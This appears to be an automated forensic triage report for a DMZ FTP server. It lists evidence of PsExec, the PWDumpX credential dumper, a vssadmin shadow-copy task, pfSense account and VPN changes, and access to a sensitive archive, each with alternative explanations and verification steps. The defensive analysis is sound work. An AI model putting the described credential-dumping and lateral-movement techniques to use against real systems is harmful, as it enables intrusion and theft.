Nothing suspicious was detected in the Run/RunOnce keys data; the sole observed entry is a benign VMware Tools user process (vmtoolsd.exe -n vmusr) under HKLM\Software\Microsoft\Windows\CurrentVersion\Run (row_ref 1, 2018-01-12T14:55:22.962978+00:00).

Data Gaps

  • Sparse coverage and absent scopes. Only one HKLM Run entry was returned, with no HKCU, RunOnce, or user-specific keys present. While consistent with a minimal server build, this prevents assessment of user-level persistence and raises a baseline question of whether other entries were never present or were removed.
  • No temporal history for the key. A single timestamp (2018-01-12T14:55:22.962978+00:00) is provided with no registry last-write timeline or historical values; recent additions, modifications, or deletions of autorun entries cannot be identified from this artifact alone.
  • Missing executable verification. No file hash, digital signature, or version metadata is available for vmtoolsd.exe within this artifact, so masquerading or binary replacement cannot be ruled out.
  • Persistence blind spots. This artifact does not assess services, scheduled tasks, WMI event subscriptions, or other common persistence mechanisms; a clean Run/RunOnce result does not exclude compromise via alternate vectors.
Scheduled Tasks (tasks) HIGH
Record Count 209
Time Range Start 2005-06-23T21:48:00
Time Range End 2026-06-13T06:18:15.998811

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Scheduled task Update_Sysmon_Rules persists an unsigned batch script as SYSTEM, masquerading as a legitimate sysmon update.
  • Evidence: Row 11 registers the task at 2018-08-07T15:09:56+00:00 with author rsydow, principal S-1-5-18, and HighestAvailable run level; row 12 shows the action executes C:\ProgramData\sysmon\Auto_Update.bat.
  • Why it matters: Attackers routinely abuse scheduled tasks for persistence; executing a user-writable batch file from ProgramData with SYSTEM privileges is a high-fidelity indicator of malicious persistence.
  • Alternative explanation: A local administrator manually created a custom sysmon rule update mechanism.
  • Verify: Inspect the contents, hash, and filesystem timestamps of C:\ProgramData\sysmon\Auto_Update.bat; correlate with Security event IDs 4698/4702 and Sysmon operational logs.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Scheduled task ShadowCopyVolume{4332f95b-48d6-11e8-80c7-806e6f6e6963} programmatically creates volume shadow copies under a local user account.
  • Evidence: Row 8 lists the task authored by DMZ-FTP\rsydow running as System with InteractiveTokenOrPassword; row 9 shows the action executes vssadmin.exe Create Shadow /AutoRetry=15 /For=\\?\Volume{4332f95b-48d6-11e8-80c7-806e6f6e6963}\; row 250 records a legacy .job variant last run at 2018-09-07T07:00:00.226000-04:00.
  • Why it matters: Adversaries create VSS snapshots to access locked files for credential theft (e.g., SAM/SECURITY hives) or to stage data for exfiltration; a non-standard task name combined with a legacy .job file is atypical for legitimate backup software.
  • Alternative explanation: An administrator manually scheduled shadow copies for basic data protection.
  • Verify: Review VSS snapshot history for the target volume, inspect snapshot contents for extracted registry hives or FTP data, and correlate with vssadmin or System event logs around 2018-09-07.

IOC Status

No explicit IOC patterns were provided in the investigation context.

Data Gaps

  • Trigger definitions (schedule, boot/logon, idle, event-based) are absent from this export, so the execution timing and activation conditions of the suspicious tasks cannot be assessed.
  • The ShadowCopyVolume task lacks a creation/modification date in the exported data, preventing timeline correlation.
  • No last_run_date is available for Update_Sysmon_Rules, so execution history and recency cannot be determined from this artifact alone.
  • Task execution outcomes (success/failure/history) are not included; the Task Scheduler Operational log (Event IDs 106, 140, 200, 201) is required.
  • The contents and origin of C:\ProgramData\sysmon\Auto_Update.bat are not present in this dataset.
  • The export consists of split metadata/action rows with many empty fields, which may obscure additional arguments or working directories.
  • Deleted or unregistered tasks are not represented here, so anti-forensics via task removal cannot be ruled out.
  • Correlation with other hosts in the suspected compromise (e.g., whether the rsydow account or Auto_Update.bat appear elsewhere) requires additional artifacts.
Services (services) HIGH
Record Count 415
Time Range Start 2013-08-22T14:48:12.514145
Time Range End 2018-09-07T21:01:23.298170

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] PsExec remote execution service (PSEXESVC) is installed on the DMZ FTP host, indicating prior execution of the Sysinternals PsExec tool and potential lateral movement.
  • Evidence: row_ref 228, ts 2018-09-04T22:51:49.496431+00:00, name PSEXESVC, imagepath %SystemRoot%\PSEXESVC.exe, objectname LocalSystem, start Manual (3), type Service - Own Process (0x10); deduplication comment indicates 2 matching records with different timestamp/ID.
  • Why it matters: PsExec is a staple remote administration utility frequently abused by threat actors for lateral movement and remote command execution; the residual service record is strong evidence that the host was a target of remote execution.
  • Alternative explanation: Authorized system administrators may have used PsExec for legitimate software deployment or remote management.
  • Verify: Inspect %SystemRoot%\PSEXESVC.exe file metadata and hash on disk; review Windows System/Security event logs (EVTX) around 2018-09-04 for Event IDs 7045, 4624, and 4688; and confirm with administrators whether PsExec use was expected.

Data Gaps

  • Temporal resolution lost to deduplication: 1,235 rows were removed as timestamp/ID-only duplicates. The remaining 415 records do not reveal whether services were modified multiple times or when exact changes occurred.
  • No Windows Event Log correlation: This artifact cannot be correlated with EVTX Event ID 7045 service-creation events or process-creation logs, so the precise installation/execution timeline of PSEXESVC and whether it was followed by other malicious services cannot be determined.
  • Binary integrity unknown: No file hashes, signing status, or on-disk metadata are available for service executables (e.g., %SystemRoot%\PSEXESVC.exe), making it impossible to assess whether a binary was replaced or trojanized.
  • Deleted services not visible: Services removed prior to image acquisition will not appear; absence of additional suspicious services does not rule out prior compromise or cleanup.
  • Benign vs. malicious admin tools indistinguishable: The host runs multiple remote-management/orchestration agents (Puppet/MCollective, Nagios NCPA, NSClient++, NXLog) that could be abused but appear to be legitimate installed software; without execution telemetry, adversarial use cannot be confirmed.
Shimcache (shimcache) HIGH
Record Count 292
Time Range Start 2013-06-18T13:14:55.123774
Time Range End 2026-06-13T06:18:22.233231

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] PsExec service binary and client executable present on disk in non-standard locations.
  • Evidence: row 46, last_modified 2018-09-04T22:51:49.480808+00:00, path SYSVOL\Windows\PSEXESVC.exe; row 47, last_modified 2018-09-04T18:31:47.000525+00:00, path SYSVOL\Windows\Temp\perfmon\PsExec.exe.
  • Why it matters: PsExec is a quintessential lateral-movement and remote-execution tool; storing it in a Temp\perfmon subdirectory suggests an attempt to hide the binary, and the matching dates indicate coordinated deployment.
  • Alternative explanation: Legitimate system administration, though the obfuscated path and co-located credential tool make benign use unlikely.
  • Verify: Corroborate execution via Prefetch/Amcache and inspect Windows Security/System EVTX around 2018-09-04 for service creation (Event ID 7045) and logon events.
  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Known credential-dumping tool PWDumpX.exe present in the same concealed directory as PsExec.
  • Evidence: row 58, last_modified 2018-09-04T18:20:44.886652+00:00, path SYSVOL\Windows\Temp\perfmon\PWDumpX.exe.
  • Why it matters: PWDumpX is designed to extract password hashes from the local SAM/Security Accounts Manager; its presence alongside PsExec strongly indicates credential-access activity to facilitate lateral movement.
  • Alternative explanation: None plausible; this is not a standard administrative or system utility.
  • Verify: Cross-reference with SAM/SECURITY hive access times, LSASS handle access, and authentication logs from 2018-09-04.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Non-standard executable subject_srv.exe located directly in the Windows root directory.
  • Evidence: row 28, last_modified 2018-04-10T19:29:50+00:00, path SYSVOL\Windows\subject_srv.exe.
  • Why it matters: The filename does not correspond to any known Windows system binary, and placement in C:\Windows is a common technique for persistence or implant hosting.
  • Alternative explanation: Custom or third-party line-of-business software installed by an administrator.
  • Verify: Retrieve the file hash and digital signature, query threat-intelligence feeds, and inspect services, scheduled tasks, and Run keys for execution triggers.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Second copy of Sysmon located in the Windows root, separate from the standard installation path.
  • Evidence: row 147, last_modified 2018-08-07T19:05:59.982378+00:00, path SYSVOL\Windows\sysmon64.exe; compare with row 5, path SYSVOL\ProgramData\sysmon\sysmon64.exe.
  • Why it matters: A duplicate instance of a security-monitoring tool outside its expected directory may indicate defense evasion, a tampered binary, or an attacker-maintained copy intended to blend in with system files.
  • Alternative explanation: Administrator manually copied the binary during installation, upgrade, or troubleshooting.
  • Verify: Compare hashes and digital signatures of both binaries; identify which copy (if any) is registered as a service and locate its associated configuration file.

IOC Status

  • No explicit IOCs were provided in the investigation context.

Data Gaps

  • The latest AppCompatCache last_modified timestamp in the authoritative CSV is 2018-09-04 (row 46), leaving an approximately eight-year gap to the current system date of 2026-06-13. Whether this represents a static/retired image, clock skew, or evidence of cache clearing is unassessable from Shimcache alone.
  • Shimcache records program presence observed by the OS but does not independently prove execution. Corroboration from Prefetch, Amcache, and EVTX is required to confirm these binaries were actually launched and to identify the triggering user or process.
  • CacheMainSdb entries (rows 248–292) lack last_modified timestamps, preventing temporal correlation with the AppCompatCache sequence.
  • This artifact provides no command-line arguments, parent process information, or user context, so the exact invocation method for PsExec, PWDumpX, or subject_srv.exe cannot be determined.
  • Absence of other known attacker tools (e.g., Mimikatz, Procdump) in this artifact does not rule out their use elsewhere on the system; file-less execution or artifact-aware cleanup would not be captured here.
Amcache (amcache) HIGH
Record Count 1030
Time Range Start 2003-02-21T08:42:21.982388
Time Range End 2018-09-04T22:51:49.494949

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Credential dumping tool PWDumpX observed in a non-standard Windows Temp subdirectory.
  • Evidence: Row 306, path="C:\Windows\Temp\perfmon\PWDumpX.exe", created_timestamp="2018-09-04T18:20:44.886652+00:00", last_modified_timestamp="2018-09-04T18:20:44.886652+00:00", digest="(md5=None, sha1=2013247c1481bb44bbebbb927a153b42e73b499f, sha256=None)", file_size="32.0 KB".
  • Why it matters: PWDumpX is a known password hash extraction utility; its presence on an internet-facing DMZ host indicates active credential access, likely to facilitate lateral movement.
  • Alternative explanation: Rarely used by authorized red teams, but the path and absence of any administrative documentation makes benign use unlikely.
  • Verify: Cross-reference Shimcache, Prefetch, and Security Event Log (Event ID 4688/4656) around 2018-09-04 18:20 UTC to confirm execution and identify the parent process.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] PsExec placed in a suspicious temp directory alongside attacker tooling, with the PsExec service binary present on the system.
  • Evidence: Row 377, path="C:\Windows\Temp\perfmon\PsExec.exe", created_timestamp="2018-09-04T18:31:47.000525+00:00", last_modified_timestamp="2018-09-04T18:31:47.000525+00:00", product_name="Sysinternals PsExec", company_name="Sysinternals - www.sysinternals.com", digest="(md5=None, sha1=e50d9e3bd91908e13a26b3e23edeaf577fb3a095, sha256=None)"; Row 91, path="C:\Windows\PSEXESVC.exe", digest="(md5=None, sha1=a17c21b909c56d93d978014e63fb06926eaea8e7, sha256=None)".
  • Why it matters: PsExec is a common lateral movement and remote command execution tool; its creation in C:\Windows\Temp\perfmon approximately 11 minutes after PWDumpX suggests follow-on attacker activity after credential compromise, and the presence of PSEXESVC.exe indicates the tool was run.
  • Alternative explanation: Could be a systems administrator performing remote maintenance, but the directory choice and close temporal proximity to a credential dumper strongly suggest malicious use.
  • Verify: Inspect Security log for Logon Type 3/4 events and Event ID 7045 (service installation), and review Shimcache/Prefetch to confirm PsExec execution and target hosts.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] 7-Zip command-line archiver located in a ProgramData staging directory.
  • Evidence: Row 500, path="C:\ProgramData\staging\7za.exe", digest="(md5=None, sha1=d4206fc233e3a708b54439e1c2bc12b48a755ed1, sha256=None)".
  • Why it matters: Attackers frequently use compression utilities in self-created staging directories to aggregate data prior to exfiltration; the directory name "staging" is atypical for standard software deployments.
  • Alternative explanation: May be part of a legitimate administrative script or software packaging workflow.
  • Verify: Review the contents and NTFS timestamps of C:\ProgramData\staging\, examine network proxy/FTP logs for abnormal outbound data transfers, and check Prefetch/Shimcache for 7za execution.

IOC Status

  • No explicit IOC patterns were provided in the investigation context.

Data Gaps

  • Execution cannot be confirmed from Amcache alone. This artifact records file inventory and install/creation timestamps but does not reliably capture execution time, command-line arguments, or parent process. Shimcache, Prefetch, and EDR telemetry are required to prove PWDumpX, PsExec, or 7za were actually launched.
  • Missing timestamps for most entries. The vast majority of rows (including PSEXESVC.exe and 7za.exe) lack created_timestamp/last_modified_timestamp values, limiting timeline construction. Additionally, many records show a placeholder install_date of 1601-01-01, which is a null-equivalent in Amcache and provides no temporal context.
  • No user or session context. Amcache does not attribute file creation to a specific user SID or logon session, so we cannot determine whether these files were dropped via an interactive session, remote share, or scheduled task.
  • No privilege escalation or persistence artifacts visible. While PSEXESVC.exe indicates a service was installed, this dataset does not reveal additional persistence mechanisms (e.g., new scheduled tasks, Run keys, or WMI events).
  • Scope of compromise is unassessed. This artifact is from a single host (DMZ-FTP). There is no evidence here of lateral movement targets, exfiltrated data contents, or whether the same tools appear on the Domain Controller, RDS hosts, or workstations mentioned in the investigation context.
  • Hash-only rows are uncontextualized. Numerous SHA-1 entries (e.g., rows 9–59, 63–88, etc.) lack file paths or names, making threat-intel correlation impossible from this artifact alone.
UserAssist (userassist) HIGH
Record Count 77
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-09-07T05:28:34.039000

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] PsExec was executed from a non-standard directory by user rsydow.
  • Evidence: row 27, path {F38BF404-1D43-42F2-9305-67DE0B28FC23}\Temp\perfmon\PsExec.exe (corresponding to C:\Windows\Temp\perfmon\PsExec.exe), username rsydow, application_focus_duration 2250. Timestamp is invalid/null (1601-01-01T00:00:00+00:00).
  • Why it matters: PsExec is a remote-code-execution tool frequently used for lateral movement; finding it staged under \Windows\Temp\perfmon on an internet-facing DMZ host is atypical and strongly suggests attacker tooling or unauthorized remote administration.
  • Alternative explanation: A legitimate administrator manually copied PsExec to a temporary folder for authorized remote management.
  • Verify: Inspect the \Windows\Temp\perfmon directory for additional binaries; correlate Prefetch/SRUM and Windows Security Event ID 4624/4648 logs for exact execution time, source host, and command-line arguments.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Sustained interactive command-shell and PowerShell usage by rsydow on 2018-09-04.
  • Evidence: row 9, ts 2018-09-04T22:54:46.882000+00:00, path {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, username rsydow, number_of_executions 6, application_focus_count 54, application_focus_duration 3562125 ms (~59 minutes). Also row 26, ts 2018-09-04T17:58:41.139000+00:00, powershell.exe, username rsydow, duration 183140 ms (~3 minutes).
  • Why it matters: Nearly an hour of focused interactive console activity by a non-built-in account on the DMZ FTP server, clustered on a single day, is consistent with hands-on attacker reconnaissance, scripting, or payload execution.
  • Alternative explanation: Authorized administrator performing legitimate maintenance or configuration tasks during a single session.
  • Verify: Review Security log for rsydow logon type and originating IP; check PowerShell Module/ScriptBlock logging and console command history for executed commands.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] Secondary account rsydow-a used for server administration tools.
  • Evidence: row 35, ts 2018-08-17T04:39:26.424000+00:00, ServerManager.exe; row 37, ts 2018-08-17T04:40:06.798000+00:00, powershell.exe; row 42, ts 2018-09-07T05:28:34.039000+00:00, mmc.exe; all username rsydow-a.
  • Why it matters: The closely named account may represent a segregated admin account, but in a suspected compromise it must be confirmed against authorized provisioning records to rule out attacker-created alternate credentials for persistence or privilege escalation.
  • Alternative explanation: Legitimate secondary administrative account provisioned for the same operator.
  • Verify: Audit local SAM/AD for rsydow-a creation timestamp and group membership; correlate logon events with rsydow sessions.

Data Gaps

  • Missing/null timestamps: 34 of 77 records carry the timestamp 1601-01-01T00:00:00+00:00, which prevents accurate timeline correlation for a large portion of entries (including the PsExec execution).
  • No command-line context: UserAssist records only the binary path; arguments, parent process, elevation status, and network connections are absent, making it impossible to determine what commands were run or whether execution was privileged.
  • Scope limited to Explorer launches: Command-line-only execution (e.g., most Mimikatz usage, WMI, net use, regsvr32, or scheduled tasks) is not captured here. Credential-access tooling and pure command-line lateral movement are therefore Not Assessable from this artifact.
  • Deduplication loss: 4 rows were removed as timestamp/ID-only duplicates and 3 rows annotated, potentially obscuring rapid repeated execution events.
  • Suggested follow-up artifacts: Prefetch/SRUM for exact execution times and command lines; Windows Security/TerminalServices logs for logon sources and session correlation; PowerShell operational logs for script content; file-system metadata for the \Windows\Temp\perfmon directory.
Recycle Bin (recyclebin) MEDIUM
Record Count 3
Time Range Start 2018-04-26T20:15:40.076000
Time Range End 2018-04-26T20:15:40.091999

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Rapid cluster-deletion of OpenVPN configuration files and a related archive by the built-in Administrator account on the DMZ FTP server, consistent with evidence cleanup after establishing unauthorized remote-access tunneling capability.
  • Evidence: Row 2 (ts: 2018-04-26T20:15:40.076000+00:00, path: C:\Users\Administrator\Downloads\shieldbase-vpn.zip, size 5.09 KB, user: Administrator); Row 1 (ts: 2018-04-26T20:15:40.091999+00:00, path: C:\Users\Administrator\Downloads\site-fw-udp-1197-shieldbase-viscosity-config.ovpn, size 6.09 KB); Row 3 (ts: 2018-04-26T20:15:40.091999+00:00, path: C:\Users\Administrator\Downloads\shieldbase.ovpn, size 5.92 KB). All three items were moved to the Recycle Bin within a 16-millisecond window. The owning SID in the deleted path is S-1-5-21-572887454-1858499753-1978773125-500 (RID 500, built-in Administrator).
  • Why it matters: VPN client configurations on an internet-facing DMZ host can provide persistent outbound command-and-control, facilitate lateral movement into the internal network, and support exfiltration; their near-simultaneous deletion strongly suggests deliberate cleanup of post-configuration artifacts.
  • Alternative explanation: An administrator legitimately downloaded VPN software to test or configure remote management, then deleted the files afterward.
  • Verify: Recover the deleted $R* files from \c:\$recycle.bin\ to inspect the .ovpn contents for remote server addresses, embedded certificates, or credentials; correlate with Prefetch/Amcache execution artifacts, installed services, and network connection events around 2018-04-26 20:15 UTC.

Data Gaps

  • File contents unavailable. Recycle Bin metadata does not include the contents of the deleted .ovpn or .zip files; it is impossible to determine whether the configurations pointed to attacker-controlled infrastructure or contained embedded secrets without recovering the actual $R* files.
  • No execution or network context. This artifact cannot show whether the VPN client (e.g., Viscosity) was installed, executed, or used to establish a tunnel. Prefetch, Amcache, Registry (run keys/services), and EVTX network/connection logs are required.
  • Limited scope and time coverage. Only three Recycle Bin records are present, all from a single 16-millisecond window. It cannot be determined whether other deletions occurred earlier or later, or whether the Recycle Bin was emptied, without a broader timeline or full volume scan.
  • Deletion method unknown. The metadata does not reveal whether the files were deleted manually via Explorer or programmatically via a script or attacker tool.
Browser History (browser.history) HIGH
Record Count 66
Time Range Start 2018-04-26T19:20:36.451666
Time Range End 2018-09-07T21:05:33.212479

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Administrator account on the DMZ-FTP host performed extensive pfSense firewall administration via the browser, including deletion of a local admin account, user creation, firewall rule modification, package installation, and export of VPN client configurations.
  • Evidence:
  • 2018-04-26T19:21:32Z, row 61: http://172.16.10.100/system_usermanager.php?act=deluser&userid=1&username=team_admin
  • 2018-04-26T19:20:36Z, row 31: http://172.16.10.100/system_usermanager.php?act=new
  • 2018-04-26T20:06:45Z, row 33: http://172.16.10.100/system_usermanager.php?act=edit&userid=1
  • 2018-04-26T19:39:26Z, row 35: http://172.16.10.100/pkg_mgr_install.php?pkg=pfSense-pkg-openvpn-client-export
  • 2018-04-26T19:47:23Z, row 29: http://172.16.10.100/firewall_rules_edit.php?id=5
  • 2018-04-26T19:44:22Z, row 62: http://172.16.10.100/vpn_openvpn_export.php?act=visc&srvid=1&usrid=1&crtid=0&useaddr=braavos.simspace.com%3A1196...
  • 2018-05-22T02:03:36Z, row 20: http://172.16.10.100/diag_command.php (visit_count 8)
  • 2018-05-22T02:02:56Z, row 43: http://172.16.10.100/diag_command.php (visit_count 2)
  • Why it matters: Sequential account manipulation, removal of an existing administrator, VPN credential export, firewall changes, and access to the command diagnostic page from a DMZ server are consistent with an attacker seizing control of the network edge and establishing persistent remote access.
  • Alternative explanation: A network administrator was performing legitimate firewall hardening, user provisioning, and VPN setup.
  • Verify: Cross-reference with pfSense audit/system logs to confirm whether the team_admin deletion and VPN export were authorized, and review the VPN connection logs for braavos.simspace.com:1196.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Administrator repeatedly accessed non-standard, hex-named directories on internal host 10.10.10.10 that do not resemble normal application paths.
  • Evidence:
  • 2018-05-22T14:36:56Z, row 23: http://10.10.10.10/3e7d0d94/ (visit_count 5)
  • 2018-05-22T02:18:16Z, row 24: http://10.10.10.10/a2a2ceab/ (visit_count 3)
  • 2018-05-22T02:18:31Z, row 65: http://10.10.10.10/3e7d0d94/ (visit_count 1)
  • 2018-05-22T02:13:10Z, row 66: http://10.10.10.10/a2a2ceab/ (visit_count 1)
  • Why it matters: Random hex directory names are commonly used for attacker staging, web shells, or short-lived C2 endpoints; repeated access from the DMZ host suggests lateral movement or tool retrieval.
  • Alternative explanation: An internal application or temporary file share legitimately uses GUID-style directory names.
  • Verify: Inspect the web server on 10.10.10.10 for these directories and review server-side access logs for executed scripts, file uploads, or unusual user-agents.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] User rsydow used the browser to open a compressed archive named M&A Targets.zip located in another user's FTP directory.
  • Evidence: 2018-09-04T18:25:48Z, row 2: file:///C:/srl-ftp/Users/nfury/Asgard/M&A%20Targets.zip by username rsydow.
  • Why it matters: A file named M&A Targets.zip implies sensitive business data; accessing it in another user's folder via a file:// URI may indicate data staging or review prior to exfiltration.
  • Alternative explanation: Authorized user accessing shared files in a multi-user FTP environment.
  • Verify: Review FTPSVC logs for transfer activity involving this file, check file-system MAC times, and validate whether rsydow had authorization to access nfury's home directory.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Multiple accounts used the browser to open nxlog configuration files and IIS FTP log files, potentially to inspect or tamper with logging.
  • Evidence:
  • 2018-05-22T02:25:09Z, row 17: file:///C:/inetpub/logs/LogFiles/FTPSVC2/u_ex180508.log (Administrator)
  • 2018-08-28T21:44:02Z, row 11: file:///C:/Users/rsydow-a/Documents/nxlog_evtx_sysmon_ftp.conf (rsydow-a)
  • 2018-05-22T02:54:31Z, row 16: file:///C:/Users/Administrator/Desktop/nxlog.conf (Administrator)
  • 2018-05-22T02:18:43Z, row 18: file:///C:/Users/Administrator/Downloads/nxlog.conf (Administrator)
  • Why it matters: Attackers frequently review logging configurations to evade detection or confirm that their activity is not being captured; browsing raw FTP logs may indicate an attempt to check for evidence of unauthorized transfers.
  • Alternative explanation: Administrators troubleshooting centralized logging or reviewing routine FTP activity.
  • Verify: Compare current nxlog configs against known-good baselines or volume shadow copies to detect tampering, and correlate with process execution logs for text editors or script interpreters.

Data Gaps

  • Privilege escalation, credential-access tooling, and Mimikatz-like activity: Not Assessable. Browser history does not capture in-memory credential theft or local privilege escalation attempts.
  • Sparse and single-browser coverage: Only 66 Internet Explorer records are present across more than four months. Chrome, Firefox, Edge, or other browser histories are absent. The low record count may indicate history clearing, retention limits, or use of alternative browsers.
  • Missing navigation context: All from_url, host, and visit_type fields are empty, preventing chain-of-navigation analysis to determine how users reached suspicious URLs.
  • No download confirmation: Download history and browser cache artifacts are not included, so it cannot be confirmed whether the VPN configuration, M&A Targets.zip, or other files were actually transferred off-host.
  • Unobserved time periods: A significant gap exists between 2018-05-25 and 2018-08-17 with no browser records, leaving nearly three months of potential activity unobserved in this artifact.
  • No direct exfiltration channels: No evidence of webmail, paste sites, or file-sharing platforms in retained history; absence does not rule out exfiltration via other protocols or tools.
  • User context absent: The roles and authorization levels of rsydow, rsydow-a, and Administrator are not defined in this artifact; baseline knowledge is required to rule out legitimate administration.
Browser Downloads (browser.downloads) MEDIUM
Record Count 7
Time Range Start 2018-04-26T19:48:26.404348
Time Range End 2026-06-13T06:18:36.942217

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Administrator account downloaded an MSI installer for a log-forwarding agent (nxlog) and its configuration file from an internal host via HTTP using randomized hex directory paths.
  • Evidence: Row 4 (ts_end 2018-05-22T02:13:25.722128+00:00, path C:\Users\Administrator\Downloads\nxlog-ce-2.10.2102.msi, URL http://10.10.10.10/a2a2ceab/nxlog-ce-2.10.2102.msi); Row 6 (ts_end 2018-05-22T02:18:43.731718+00:00, path C:\Users\Administrator\Downloads\nxlog.conf, URL http://10.10.10.10/3e7d0d94/nxlog.conf).
  • Why it matters: nxlog is a log shipper that could be abused to exfiltrate Windows Event Logs or monitor activity from the DMZ host, and the non-descriptive hex path segments are atypical for standard software distribution.
  • Alternative explanation: Legitimate administrative deployment of a centralized log collection agent from an internal web server or file share using temporary/randomized links.
  • Verify: Correlate with Amcache, Prefetch, Windows Installer logs (C:\Windows\Installer), and the contents of nxlog.conf to confirm installation and identify the configured log destination.

Data Gaps

  • No recent activity: The latest recorded browser download in this artifact is 2018-05-22, leaving an ~8-year void to the current investigation date (2026-06-13). This artifact provides no visibility into recent payload ingress and may indicate incomplete collection, log clearing, or that another browser/profile was used.
  • Execution status unknown: This artifact cannot confirm whether the nxlog-ce-2.10.2102.msi or any other downloaded file was executed or installed. Cross-reference with execution artifacts (Amcache, ShimCache, Prefetch, MSI logs) is required.
  • Missing fields: ts_start, size, and state are empty for all records, limiting granularity on download duration, file size, and completion status.
  • Sparse coverage: Only seven records exist, all from Internet Explorer. Absence of records from other browsers (Edge, Chrome) or user profiles may indicate evidence gaps.
  • Incomplete row: Row 5 contains no timestamp, path, or URL, suggesting a parsing or collection error rather than tampering, but it further reduces usable data.
Automatic Jump Lists (jumplist.automatic_destination) HIGH
Record Count 31
Time Range Start 2018-05-22T01:59:54.219000
Time Range End 2018-09-07T21:05:31.806000

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] User rsydow accessed a sensitive ZIP file located in another user’s FTP home directory.
  • Evidence: Row 16, username rsydow, application Windows Explorer Windows 8.1, target path C:\srl-ftp\Users\nfury\Asgard\M&A Targets.zip (lnk_net_name: \\DMZ-FTP\srl-ftp), with target creation time 2018-08-07T22:27:56.223730+00:00.
  • Why it matters: Cross-user access to a file named “M&A Targets” on an internet-facing FTP host strongly suggests unauthorized data browsing or staging of sensitive material for exfiltration.
  • Alternative explanation: rsydow may be an administrator or service account with legitimate access to all FTP user directories.
  • Verify: Inspect NTFS permissions on C:\srl-ftp\Users\nfury\Asgard and correlate with FTP/SMB transfer logs to see if the file was copied or moved.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] User rsydow repeatedly reviewed IIS FTP service logs and nxlog collector configuration.
  • Evidence: Rows 1–9 show rsydow opening FTPSVC2 log files (e.g., u_ex180625.log, u_ex180803.log, u_ex180807.log) via Notepad 64-bit, all sharing lnk_atime 2018-06-25T18:24:31.051737+00:00. Row 12 shows rsydow opening C:\inetpub\logs\LogFiles\FTPSVC2 via Explorer (lnk_atime 2018-05-23T16:16:40.816133+00:00). Row 3 shows rsydow opening C:\Program Files (x86)\nxlog\conf\nxlog.conf via Notepad. Row 15 shows rsydow opening C:\Program Files (x86)\nxlog\conf via Explorer.
  • Why it matters: Concentrated review of FTP logs and a log-forwarder configuration by a non-Administrator account is consistent with anti-forensics reconnaissance to verify whether attacker activity was captured.
  • Alternative explanation: The account may hold administrative responsibilities and was troubleshooting the FTP service or log forwarding.
  • Verify: Examine Windows Security events for rsydow group membership/privileges, and compare nxlog.conf hashes to a known-good baseline.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Administrator account accessed a VPN configuration archive and multiple copies of nxlog.conf.
  • Evidence: Row 29 (C:\Users\Administrator\Downloads\shieldbase-vpn.zip, Windows Explorer, target mtime 2018-04-26T19:48:34.326969+00:00). Rows 25–28 show Administrator opening nxlog.conf from Downloads, C:\Program Files (x86)\nxlog\conf, and Desktop (row 27 reports null/1601 target timestamps), plus an FTP log (u_ex180508.log), with lnk_atime 2018-05-22T02:16:47.176029+00:00.
  • Why it matters: A VPN archive on a DMZ host combined with review of log-shipper configuration in multiple locations raises concern for lateral-movement preparation or tampering with log collection.
  • Alternative explanation: The administrator may have been legitimately installing a VPN client and troubleshooting nxlog.
  • Verify: Extract shieldbase-vpn.zip to inspect for credentials or tunnel configs; check whether the three nxlog.conf copies differ from each other or from baseline.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User rsydow accessed PowerShell training PDFs stored in another user’s FTP directory.
  • Evidence: Row 10 (69_74_GPPowerShell_desfin.pdf, target mtime 2018-08-09T17:09:03.922142+00:00) and Row 11 (PowerShell_Examples_v4.pdf, target mtime 2018-08-09T17:08:43.505241+00:00), both under C:\srl-ftp\Users\rsydow-f\PowerShell\, opened by rsydow via Adobe Acrobat Reader DC, lnk_net_name \\DMZ-FTP\srl-ftp.
  • Why it matters: Browsing another user’s directory for PowerShell documentation may indicate an actor researching capabilities or payloads.
  • Alternative explanation: The accounts may belong to the same person or team with shared permissions.
  • Verify: Determine the relationship between rsydow and rsydow-f accounts and inspect directory ACLs.

Data Gaps

  • No explicit IOCs were provided, so targeted IOC assessment is not applicable.
  • This artifact contains no evidence of credential-access tooling (e.g., Mimikatz), persistence mechanisms, or direct malware execution; absence in Jump Lists does not rule them out.
  • Deduplication removed three timestamp-variant records (see row 18 comment), which may obscure repeated access counts or precise interaction times.
  • Several entries (e.g., rows 24, 27) show null/1601 target timestamps, so the existence or state of those targets at access time cannot be determined from this artifact alone.
  • Jump Lists lack command-line arguments, network source addresses, and execution proof, preventing assessment of how files were reached or whether they were modified.
  • User roles and privileges for rsydow, rsydow-a, rsydow-f, and nfury are unknown; without directory/LDAP context, anomalous access cannot be definitively labeled unauthorized.
  • Correlating artifacts (Windows Security Event Logs, SMB/FTP transfer logs, Prefetch, Amcache/ShimCache, MFT/USN, browser history) are needed to confirm malicious intent, lateral movement, or exfiltration.
Custom Jump Lists (jumplist.custom_destination) UNSPECIFIED
Record Count 8
Time Range Start 2018-05-10T18:30:04.925808
Time Range End 2018-09-04T17:58:41.201590

Findings

Nothing suspicious detected in this artifact.

Data Gaps

